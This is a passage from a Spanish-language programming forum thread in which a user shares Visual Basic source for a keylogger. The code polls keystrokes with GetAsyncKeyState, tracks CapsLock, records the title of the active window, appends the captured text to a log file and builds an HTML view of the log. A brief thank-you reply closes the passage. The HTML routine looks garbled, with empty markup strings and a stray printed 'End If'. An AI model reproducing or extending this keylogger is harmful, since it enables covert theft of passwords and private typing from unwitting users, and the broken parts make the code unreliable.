If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "6"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad7)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "7"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad8)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "8"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad9)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "9"
End If
EstadoTecla = GetAsyncKeyState(vbKeyNumpad0)
If (EstadoTecla And &H1) = &H1 Then
StrLog$ = StrLog$ + "0"
End If
DoEvents
End Sub
'***************************************************************************
'Función de tipo boolean que determina si está presionada la tecla CapsLock
'***************************************************************************
Public Function CAPSLOCKON() As Boolean
Static bOn As Boolean
Static bInit As Boolean
If Not bInit Then
While GetAsyncKeyState(VK_CAPITAL)
Wend
bOn = GetKeyState(VK_CAPITAL)
bInit = True
Else
If GetAsyncKeyState(VK_CAPITAL) Then
While GetAsyncKeyState(VK_CAPITAL)
DoEvents
Wend
bOn = Not bOn
End If
End If
CAPSLOCKON = bOn
End Function
'Esta sub graba los datos de la variable "Texto" en el archivo Log
Private Sub grabarArchivo()
Open path For Append As #1
Print #1, StrLog
'Eliminamos el contenido de StrLog
StrLog = ""
Close
End Sub
'Esta función devuelve el Caption de la ventana activa y es llamada desde el Timer1
Private Function ObtenerCaption(HandleWin As Long) As String
Dim Buffer As String
Dim TextTam As Long
'Obtenemos el tamaño del texto
TextTam& = GetWindowTextLength(HandleWin&)
'Este es un Buffer de caracteres que le pasaremos a GetWindowText para obtener el caption de la ventana activa
Buffer$ = String(TextTam&, 0&)
'Le pasamos a GetWindowText el hwnd de la ventana activa, el buffer y el tamaño anterior
Call GetWindowText(HandleWin&, Buffer$, TextTam& + 1)
'Asignamos a la función el caption
ObtenerCaption$ = Buffer$ & vbCrLf & "---------------------------------------------------"
End Function
'*********************************************************************
'Esta función genera el código Html para visualizar el archivo Log _
en este formato.
'*********************************************************************
Private Sub generarHTML()
Dim linea As String
Open App.path & "\archivolog.txt" For Input As #2
Open App.path & "\archivolog.html" For Output As #3
Print #3, "" + vbCrLf + "" + vbCrLf

While Not EOF(2)
Line Input #2, linea$
'Si la linea contiene la palabra ventana
'ponemosmos el color rojo a esa línea mediante la etiqueta Font
If InStr(1, linea$, "ventana", 1) Then
Print #3, ""; linea$; ""
Else
'Si no establecemos el color es negro
Print #3, "End If "
Print #3, ""
End If
'Para hacer un salto de carro en el código Html
DoEvents
Wend

Print #3, "" + vbCrLf + "" 'Cerramos el código Html
Close #2
Close #3
End Sub

1S4ludo


Título: Re: Ayuda con una parte del KeyLogger que estoy haciendo
Publicado por: Shrick en 1 Enero 2007, 20:30 pm
Muchas gracias ;D